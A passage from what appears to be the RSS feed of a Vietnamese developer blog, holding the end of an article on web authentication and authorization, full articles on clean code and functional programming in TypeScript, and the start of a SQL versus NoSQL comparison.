app.get(&apos;/auth/google&apos;, (req, res) =&gt; {
  const params = new URLSearchParams({
    client_id: process.env.GOOGLE_CLIENT_ID!,
    redirect_uri: &apos;http://localhost:3000/auth/google/callback&apos;,
    response_type: &apos;code&apos;,
    scope: &apos;openid email profile&apos;,
  });
  res.redirect(`https://accounts.google.com/o/oauth2/auth?${params}`);
});

// 2. Callback — nhận code, đổi lấy token
app.get(&apos;/auth/google/callback&apos;, async (req, res) =&gt; {
  const { code } = req.query;

  const tokenResponse = await fetch(&apos;https://oauth2.googleapis.com/token&apos;, {
    method: &apos;POST&apos;,
    body: new URLSearchParams({
      code: code as string,
      client_id: process.env.GOOGLE_CLIENT_ID!,
      client_secret: process.env.GOOGLE_CLIENT_SECRET!,
      redirect_uri: &apos;http://localhost:3000/auth/google/callback&apos;,
      grant_type: &apos;authorization_code&apos;,
    }),
  });

  const { access_token } = await tokenResponse.json();

  const userResponse = await fetch(&apos;https://www.googleapis.com/oauth2/v2/userinfo&apos;, {
    headers: { Authorization: `Bearer ${access_token}` },
  });

  const user = await userResponse.json();
  // Tìm hoặc tạo user trong DB, tạo session
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Authorization — Bạn Được Làm Gì?&lt;/h2&gt;
&lt;h3&gt;RBAC — Role-Based Access Control&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;enum Role {
  USER = &apos;user&apos;,
  MODERATOR = &apos;moderator&apos;,
  ADMIN = &apos;admin&apos;,
}

const permissions: Record&amp;#x3C;Role, string[]&gt; = {
  [Role.USER]: [&apos;read:own&apos;, &apos;write:own&apos;],
  [Role.MODERATOR]: [&apos;read:any&apos;, &apos;write:own&apos;, &apos;delete:own&apos;],
  [Role.ADMIN]: [&apos;read:any&apos;, &apos;write:any&apos;, &apos;delete:any&apos;],
};

function authorize(...required: string[]) {
  return (req: Request, res: Response, next: NextFunction) =&gt; {
    const userRole = req.user.role as Role;
    const userPerms = permissions[userRole];

    const hasAll = required.every(p =&gt; userPerms.includes(p));
    if (!hasAll) {
      return res.status(403).json({ error: &apos;Insufficient permissions&apos; });
    }
    next();
  };
}

// Usage
app.delete(&apos;/users/:id&apos;, authenticate, authorize(&apos;delete:any&apos;), deleteUser);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ABAC — Attribute-Based Access Control&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;function canAccessResource(user: User, resource: Resource): boolean {
  // Admin access everything
  if (user.role === &apos;admin&apos;) return true;

  // User chỉ access resource của mình
  if (resource.ownerId === user.id) return true;

  // Moderator xoá bài vi phạm
  if (user.role === &apos;moderator&apos; &amp;#x26;&amp;#x26; resource.type === &apos;post&apos; &amp;#x26;&amp;#x26; resource.flagged) {
    return true;
  }

  return false;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Bảo Vệ Endpoint&lt;/h2&gt;
&lt;h3&gt;Rate Limiting&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import rateLimit from &apos;express-rate-limit&apos;;

// Global — 100 request/phút
app.use(rateLimit({
  windowMs: 60 * 1000,
  max: 100,
}));

// Auth endpoints — strict hơn
const authLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  message: &apos;Too many login attempts&apos;,
});
app.use(&apos;/auth/login&apos;, authLimiter);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Input Validation&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { z } from &apos;zod&apos;;

const loginSchema = z.object({
  email: z.string().email(),
  password: z.string().min(8).max(100),
});

app.post(&apos;/auth/login&apos;, (req, res) =&gt; {
  const result = loginSchema.safeParse(req.body);
  if (!result.success) {
    return res.status(400).json({
      error: &apos;Validation failed&apos;,
      details: result.error.flatten(),
    });
  }
  // result.data — an toàn, đã validate
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;CSRF Protection&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import csrf from &apos;csurf&apos;;

app.use(csrf({ cookie: true }));

// Gửi CSRF token trong form
app.get(&apos;/form&apos;, (req, res) =&gt; {
  res.render(&apos;form&apos;, { csrfToken: req.csrfToken() });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Security Headers&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Security-Policy: default-src &apos;self&apos;
Referrer-Policy: strict-origin-when-cross-origin
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Password — Không Bao Giờ Lưu Plain Text&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import bcrypt from &apos;bcrypt&apos;;

const SALT_ROUNDS = 12;

async function hashPassword(password: string): Promise&amp;#x3C;string&gt; {
  return bcrypt.hash(password, SALT_ROUNDS);
}

async function verifyPassword(password: string, hash: string): Promise&amp;#x3C;boolean&gt; {
  return bcrypt.compare(password, hash);
}

// Signup
app.post(&apos;/auth/signup&apos;, async (req, res) =&gt; {
  const hashedPassword = await hashPassword(req.body.password);
  await db.users.create({
    data: {
      email: req.body.email,
      passwordHash: hashedPassword, // Không lưu password gốc
    },
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Logout &amp;#x26; Revoke&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;app.post(&apos;/auth/logout&apos;, async (req, res) =&gt; {
  // Xoá refresh token khỏi DB
  await db.refreshTokens.deleteMany({
    where: { userId: req.user.id },
  });

  res.clearCookie(&apos;refreshToken&apos;);
  res.json({ message: &apos;Logged out&apos; });
});

// Revoke tất cả sessions của user
app.post(&apos;/auth/revoke-all&apos;, authenticate, async (req, res) =&gt; {
  await db.refreshTokens.deleteMany({
    where: { userId: req.user.id },
  });
  res.json({ message: &apos;All sessions revoked&apos; });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Checklist&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] JWT với access token ngắn hạn + refresh token rotation&lt;/li&gt;
&lt;li&gt;[ ] Password hash bằng bcrypt (cost ≥ 12)&lt;/li&gt;
&lt;li&gt;[ ] Rate limiting trên auth endpoints&lt;/li&gt;
&lt;li&gt;[ ] Input validation (Zod, Joi)&lt;/li&gt;
&lt;li&gt;[ ] CSRF protection cho cookie-based auth&lt;/li&gt;
&lt;li&gt;[ ] Security headers (helmet)&lt;/li&gt;
&lt;li&gt;[ ] HTTPS mandatory&lt;/li&gt;
&lt;li&gt;[ ] CORS whitelist&lt;/li&gt;
&lt;li&gt;[ ] Audit log cho hành động nhạy cảm&lt;/li&gt;
&lt;li&gt;[ ] Dependency scan (&lt;code&gt;npm audit&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Security là layered defense. JWT cho stateless auth, refresh token cho UX, OAuth2 cho third-party login, RBAC/ABAC cho authorization. Không có &quot;đủ an toàn&quot; — chỉ có &quot;đủ an toàn cho hôm nay&quot;.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7519&quot;&gt;JWT — JSON Web Token (RFC 7519)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6749&quot;&gt;OAuth 2.0 Authorization Framework (RFC 6749)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jwt.io/&quot;&gt;jwt.io — JSON Web Token Debugger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/kelektiv/node.bcrypt.js&quot;&gt;bcrypt — Password Hashing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://express-rate-limit.mintlify.app/&quot;&gt;express-rate-limit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zod.dev/&quot;&gt;Zod — Schema Validation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Clean Code — Viết Code Người Khác (Và Chính Bạn) Có Thể Đọc</title><link>https://dopana-blog.pages.dev/blog/clean-code</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/clean-code</guid><description>Nguyên tắc viết code sạch: đặt tên, function nhỏ, DRY, KISS — áp dụng cho mọi ngôn ngữ.</description><pubDate>Sat, 11 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&quot;Code sạch không phải viết cho máy tính — nó viết cho con người.&quot; — Robert C. Martin&lt;/p&gt;
&lt;h2&gt;1. Đặt Tên — Khó Nhất Trong Lập Trình&lt;/h2&gt;
&lt;h3&gt;Biến — Cho Biết Nó Chứa Gì&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ
const d = new Date();
const arr = [1, 2, 3];
const fn = () =&gt; {};
const data = fetchData();

// ✅ Tốt
const currentDate = new Date();
const userIds = [1, 2, 3];
const handleSubmit = () =&gt; {};
const userProfile = await fetchUserProfile();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Boolean — Câu Hỏi Có/Không&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ
const flag = true;
const status = false;
const login = true;

// ✅ Tốt
const isActive = true;
const hasPermission = false;
const isLoggedIn = true;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Hàm — Mô Tả Hành Động&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ
function data(id: number) { ... }
function handle(id: number) { ... }

// ✅ Tốt
function getUserById(id: number) { ... }
function deleteUser(id: number) { ... }
function sendEmailNotification(email: string) { ... }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2. Function Nhỏ — Một Hàm Một Việc&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ — function làm quá nhiều việc
function processOrder(orderId: number) {
  // Validate
  const order = db.orders.findById(orderId);
  if (!order) throw new Error(&apos;Order not found&apos;);

  // Tính toán
  const total = order.items.reduce((sum, item) =&gt; sum + item.price * item.qty, 0);
  const discount = total &gt; 100 ? total * 0.1 : 0;
  const finalTotal = total - discount;

  // Gửi email
  const user = db.users.findById(order.userId);
  sendEmail(user.email, `Total: ${finalTotal}`);

  // Cập nhật stock
  order.items.forEach(item =&gt; {
    db.products.decrementStock(item.productId, item.qty);
  });

  // Log
  logger.info(`Order ${orderId} processed`);
}

// ✅ Tốt — tách thành nhiều hàm nhỏ
function processOrder(orderId: number) {
  const order = getOrderOrThrow(orderId);
  const total = calculateTotal(order);
  const finalTotal = applyDiscount(total);
  notifyUser(order.userId, finalTotal);
  updateInventory(order.items);
  logProcessing(orderId);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. DRY — Don&apos;t Repeat Yourself&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ — code lặp
function validateEmail(email: string) {
  return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
}

function createUser(data: any) {
  if (!validateEmail(data.email)) throw new Error(&apos;Invalid email&apos;);
  // ...
}

function updateUser(data: any) {
  if (!validateEmail(data.email)) throw new Error(&apos;Invalid email&apos;);
  // ...
}

// ✅ Tốt — extract validation
function validateUserInput(data: any) {
  const errors: string[] = [];
  if (!validateEmail(data.email)) errors.push(&apos;Invalid email&apos;);
  if (data.age &amp;#x3C; 18) errors.push(&apos;Must be 18+&apos;);
  return errors;
}

function createUser(data: any) {
  const errors = validateUserInput(data);
  if (errors.length) throw new Error(errors.join(&apos;, &apos;));
  // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4. Comments — Code Tự Giải Thích&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ — comment giải thích điều code đã nói
// Set counter to 0
let counter = 0;

// Loop through users
users.forEach(user =&gt; {
  // Check if user is active
  if (user.isActive) {
    // Increment counter
    counter++;
  }
});

// ✅ Tốt — comment giải thích WHY, không phải WHAT
// Sử dụng offset-based pagination vì cursor-based không support sort
const users = await db.users.find()
  .skip(page * limit)
  .limit(limit);

// Workaround: API cũ trả về field &quot;full_name&quot; thay vì &quot;name&quot;
const name = response.full_name || response.name;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. Error Handling — Đừng Nuốt Lỗi&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ — nuốt lỗi
try {
  await processPayment();
} catch (e) {
  // Làm ngơ
}

// ❌ Tệ — log rồi throw generic
try {
  await processPayment();
} catch (e) {
  console.error(e);
  throw new Error(&apos;Something went wrong&apos;);
}

// ✅ Tốt — specific error, meaningful message
try {
  await processPayment();
} catch (error) {
  logger.error({ err: error, paymentId }, &apos;Payment processing failed&apos;);
  throw new PaymentError(&apos;Payment failed. Please try again.&apos;, { cause: error });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;6. Formatting — Nhất Quán&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Cấu trúc file
// 1. Imports (sorted)
import { z } from &apos;zod&apos;;
import { db } from &apos;../db&apos;;
import { AppError } from &apos;../shared/errors&apos;;

// 2. Constants
const MAX_RETRIES = 3;

// 3. Types/Interfaces
interface UserInput { ... }

// 4. Functions
export function createUser(input: UserInput) { ... }

// Dùng formatter tự động (Prettier, Biome)
// Dùng linter (ESLint) enforce style
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;7. KISS — Keep It Simple, Stupid&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ — over-engineering
const result = await new Promise((resolve) =&gt; {
  process.nextTick(() =&gt; {
    resolve(expensiveCalculation());
  });
});

// ✅ Tốt — đơn giản
const result = expensiveCalculation();
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;8. YAGNI — You Ain&apos;t Gonna Need It&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ — viết trước khi cần
class UserService {
  constructor(
    private cache: CacheService,
    private logger: LoggerService,
    private analytics: AnalyticsService,
    private eventBus: EventBus,
  ) {}
  // ... hàng tá method chưa dùng đến
}

// ✅ Tốt — chỉ viết những gì cần NOW
class UserService {
  constructor(private db: Database) {}
  async findById(id: number) { ... }
  async create(data: UserInput) { ... }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;9. Law of Demeter — Đừng Gọi Quá Sâu&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ — train wreck
const city = user.getAddress().getCity().getName();

// ✅ Tốt — hỏi trực tiếp
const city = user.getCityName();

// Hoặc dùng optional chaining
const city = user?.address?.city?.name;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;10. Testability — Code Dễ Test&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ — hardcode dependency
class EmailService {
  send(email: string) {
    const transporter = nodemailer.createTransport({ ... });
    // ...
  }
}

// ✅ Tốt — inject dependency
class EmailService {
  constructor(private transporter: Transporter) {}
  send(email: string) {
    return this.transporter.sendMail(email);
  }
}

// Test
const mockTransporter = { sendMail: vi.fn() };
const service = new EmailService(mockTransporter);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Clean code không phải &quot;đẹp&quot; — nó là dễ đọc, dễ sửa, dễ bảo trì. Nguyên tắc vàng: viết code như người tiếp theo đọc nó là một kẻ tâm thần biết địa chỉ nhà bạn.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tên rõ ràng — biến, hàm, class&lt;/li&gt;
&lt;li&gt;Function nhỏ — mỗi hàm một việc&lt;/li&gt;
&lt;li&gt;DRY — đừng lặp lại&lt;/li&gt;
&lt;li&gt;KISS — đơn giản&lt;/li&gt;
&lt;li&gt;YAGNI — chỉ viết khi cần&lt;/li&gt;
&lt;li&gt;Testable — inject dependency&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.oreilly.com/library/view/clean-code/9780136083238/&quot;&gt;Clean Code by Robert C. Martin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://prettier.io/&quot;&gt;Prettier — Code Formatter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://biomejs.dev/&quot;&gt;Biome — Linter + Formatter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eslint.org/&quot;&gt;ESLint — Pluggable Linter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Functional Programming — Tư Duy Mới Cho Code Sạch Hơn</title><link>https://dopana-blog.pages.dev/blog/functional-programming</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/functional-programming</guid><description>Khái niệm functional programming: pure function, immutability, higher-order function, monad — áp dụng trong JavaScript.</description><pubDate>Fri, 10 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Functional programming (FP) là paradigm coi tính toán như evaluation của function, tránh state và mutable data. Không chỉ dành cho Haskell — áp dụng FP trong JS/TS giúp code dễ đoán, dễ test.&lt;/p&gt;
&lt;h2&gt;Pure Function — Hàm Thuần Khiết&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Impure — phụ thuộc external state
let taxRate = 0.1;
function calculatePrice(price: number) {
  return price + price * taxRate; // taxRate có thể thay đổi
}

// ✅ Pure — cùng input → cùng output, không side effect
function calculatePrice(price: number, taxRate: number) {
  return price + price * taxRate;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lợi ích: Dễ test (không cần mock), dễ cache (memoization), dễ debug.&lt;/p&gt;
&lt;h2&gt;Immutability — Không Thay Đổi&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Mutate trực tiếp
const user = { name: &apos;Alice&apos;, age: 25 };
user.age = 26; // Mutate!

// ✅ Immutable — tạo object mới
const updatedUser = { ...user, age: 26 };

// Với array
const numbers = [1, 2, 3];

// ❌ Mutate
numbers.push(4);

// ✅ Immutable
const newNumbers = [...numbers, 4];
// hoặc
const newNumbers = numbers.concat(4);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Immer — thư viện giúp immutable dễ dàng:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { produce } from &apos;immer&apos;;

const state = { users: [{ id: 1, name: &apos;Alice&apos; }] };

const nextState = produce(state, (draft) =&gt; {
  draft.users[0].name = &apos;Bob&apos;;
});
// state không thay đổi, nextState là object mới
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Higher-Order Function — Hàm Bậc Cao&lt;/h2&gt;
&lt;p&gt;Function nhận function làm tham số hoặc trả về function:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// HOF — trả về function
function createLogger(prefix: string) {
  return (message: string) =&gt; {
    console.log(`[${prefix}] ${message}`);
  };
}

const infoLogger = createLogger(&apos;INFO&apos;);
const errorLogger = createLogger(&apos;ERROR&apos;);

infoLogger(&apos;Server started&apos;);  // [INFO] Server started
errorLogger(&apos;Connection failed&apos;);  // [ERROR] Connection failed
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Map, Filter, Reduce — Ba Trụ Cột&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const numbers = [1, 2, 3, 4, 5];

// Map — biến đổi từng phần tử
const doubled = numbers.map(n =&gt; n * 2);
// [2, 4, 6, 8, 10]

// Filter — lọc
const even = numbers.filter(n =&gt; n % 2 === 0);
// [2, 4]

// Reduce — gom về một giá trị
const sum = numbers.reduce((acc, n) =&gt; acc + n, 0);
// 15
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Ví dụ Thực Tế&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;interface Order {
  id: number;
  amount: number;
  status: &apos;pending&apos; | &apos;paid&apos; | &apos;cancelled&apos;;
}

const orders: Order[] = [
  { id: 1, amount: 100, status: &apos;paid&apos; },
  { id: 2, amount: 200, status: &apos;pending&apos; },
  { id: 3, amount: 300, status: &apos;paid&apos; },
];

// Tính tổng amount của đơn đã paid
const totalPaid = orders
  .filter(o =&gt; o.status === &apos;paid&apos;)
  .map(o =&gt; o.amount)
  .reduce((acc, amount) =&gt; acc + amount, 0);
// 400

// Thay vì dùng for loop + if
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Function Composition — Kết Hợp Function&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const toUpperCase = (s: string) =&gt; s.toUpperCase();
const exclaim = (s: string) =&gt; `${s}!`;
const repeat = (s: string) =&gt; `${s} ${s}`;

// Composition thủ công
const shout = (s: string) =&gt; repeat(exclaim(toUpperCase(s)));

// Với compose
const compose = (...fns: Function[]) =&gt;
  (x: any) =&gt; fns.reduceRight((acc, fn) =&gt; fn(acc), x);

const shout = compose(repeat, exclaim, toUpperCase);
console.log(shout(&apos;hello&apos;)); // HELLO! HELLO!

// Với pipe (ngược chiều)
const pipe = (...fns: Function[]) =&gt;
  (x: any) =&gt; fns.reduce((acc, fn) =&gt; fn(acc), x);

const shout = pipe(toUpperCase, exclaim, repeat);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Curry — Function Có Sẵn Tham Số&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Curry — function nhận từng tham số một
const multiply = (a: number) =&gt; (b: number) =&gt; a * b;

const double = multiply(2);
const triple = multiply(3);

console.log(double(5));  // 10
console.log(triple(5));  // 15
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Maybe — Xử Lý Null An Toàn&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;class Maybe&amp;#x3C;T&gt; {
  private constructor(private value: T | null) {}

  static of&amp;#x3C;T&gt;(value: T | null | undefined): Maybe&amp;#x3C;T&gt; {
    return new Maybe(value ?? null);
  }

  map&amp;#x3C;U&gt;(fn: (value: T) =&gt; U): Maybe&amp;#x3C;U&gt; {
    if (this.value === null) return Maybe.of(null);
    return Maybe.of(fn(this.value));
  }

  getOrElse(defaultValue: T): T {
    return this.value ?? defaultValue;
  }
}

// Usage
const user = Maybe.of(getUserFromDB(1))
  .map(u =&gt; u.address)
  .map(a =&gt; a.city)
  .getOrElse(&apos;Unknown&apos;);

// Không cần if (user &amp;#x26;&amp;#x26; user.address &amp;#x26;&amp;#x26; user.address.city)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lợi Ích Của FP&lt;/h2&gt;
&lt;p&gt;| Vấn đề | OOP | FP |
|---|---|---|
| State | Object mutation | Immutability |
| Side effects | Method gọi method | Pure functions |
| Error handling | try/catch | Either, Maybe |
| Loops | for, while | map, filter, reduce |
| Dependencies | DI, mock | Pure function, no mock needed |&lt;/p&gt;
&lt;h2&gt;FP Trong React&lt;/h2&gt;
&lt;p&gt;React khuyến khích FP:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;// Component là pure function (lý tưởng)
function UserCard({ user }: { user: User }) {
  return (
    &amp;#x3C;div&gt;
      &amp;#x3C;h2&gt;{user.name}&amp;#x3C;/h2&gt;
      &amp;#x3C;p&gt;{user.email}&amp;#x3C;/p&gt;
    &amp;#x3C;/div&gt;
  );
}

// useReducer + dispatch → reducer là pure function
// Immer + useState → immutable state
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Bạn không cần chuyển hoàn toàn sang FP — chỉ cần áp dụng một số nguyên tắc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pure functions cho logic business — dễ test&lt;/li&gt;
&lt;li&gt;Immutability — tránh bug khó lường&lt;/li&gt;
&lt;li&gt;map/filter/reduce — thay for loop&lt;/li&gt;
&lt;li&gt;Function composition — code nhỏ, kết hợp linh hoạt&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;FP làm code dễ hiểu, dễ kiểm tra, dễ bảo trì. Không phải &quot;tất cả hoặc không&quot; — hãy áp dụng dần.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array&quot;&gt;MDN — Array Methods (map, filter, reduce)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mostly-adequate.gitbook.io/mostly-adequate-guide/&quot;&gt;Professor Frisby&apos;s Mostly Adequate Guide to FP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://immerjs.github.io/immer/&quot;&gt;Immer — Immutable State Library&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/fantasyland/fantasy-land&quot;&gt;Fantasy Land Specification&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>SQL vs NoSQL — Chọn Database Cho Dự Án Của Bạn</title><link>https://dopana-blog.pages.dev/blog/sql-vs-nosql</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/sql-vs-nosql</guid><description>So sánh SQL và NoSQL: relational vs document, scaling, use case — giúp bạn chọn đúng database.</description><pubDate>Thu, 09 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Chọn database là một trong những quyết định quan trọng nhất khi thiết kế hệ thống. SQL hay NoSQL? Câu trả lời: &quot;tùy&quot;.&lt;/p&gt;
&lt;h2&gt;SQL — Structured Query Language&lt;/h2&gt;
&lt;p&gt;Ví dụ: PostgreSQL, MySQL, SQLite, MariaDB, SQL Server&lt;/p&gt;
&lt;h3&gt;Đặc điểm&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Schema cố định — bảng, cột, kiểu dữ liệu định nghĩa trước&lt;/li&gt;
&lt;li&gt;ACID — Atomicity, Consistency, Isolation, Durability&lt;/li&gt;
&lt;li&gt;Relations — JOIN giữa các bảng qua foreign key&lt;/li&gt;
&lt;li&gt;Mature — 50+ năm phát triển, tooling phong phú&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Khi nào dùng SQL&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- Dữ liệu có quan hệ rõ ràng
CREATE TABLE orders (
    id SERIAL PRIMARY KEY,
    user_id INT REFERENCES users(id),
    total DECIMAL(10,2),
    created_at TIMESTAMP DEFAULT NOW()
);

-- Cần JOIN, transaction, consistency
SELECT u.name, COUNT(o.id) as order_count
FROM users u
LEFT JOIN orders o ON u.id = o.user_id
GROUP BY u.id
HAVING COUNT(o.id) &gt; 5;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use case: Finance, ERP, CRM, hệ thống cần consistency mạnh.&lt;/p&gt;
&lt;h2&gt;NoSQL — Not Only SQL&lt;/h2&gt;
&lt;p&gt;Ví dụ: MongoDB (Document), Redis (Key-Value), Cassandra (Wide-column), Neo4j (Graph)&lt;/p&gt;
&lt;h3&gt;Document DB (MongoDB)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;// Schema-less — mỗi document có thể khác nhau
{
  &quot;_id&quot;: &quot;user_123&quot;,
  &quot;name&quot;: &quot;Alice&quot;,
  &quot;email&quot;: &quot;alice@example.com&quot;,
  &quot;orders&quot;: [
    { &quot;id&quot;: &quot;ord_1&quot;, &quot;total&quot;: 100, &quot;items&quot;: [&quot;item_a&quot;, &quot;item_b&quot;] },
    { &quot;id&quot;: &quot;ord_2&quot;, &quot;total&quot;: 50 }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ưu: Linh hoạt, không cần migration, dữ liệu lồng nhau tự nhiên.
Nhược: Không JOIN, không ACID mạnh (MongoDB có transaction nhưng limited).&lt;/p&gt;
&lt;h3&gt;Key-Value (Redis)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;SET user:123 &apos;{&quot;name&quot;:&quot;Alice&quot;,&quot;email&quot;:&quot;alice@example.com&quot;}&apos;
SET session:abc123 user_123 EX 3600
LPUSH notifications:user_123 &quot;New message&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ưu: Siêu nhanh (in-memory), đơn giản.
Nhược: Không query phức tạp, dữ liệu phải fit memory.&lt;/p&gt;
&lt;h3&gt;Wide-column (Cassandra)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE user_events (
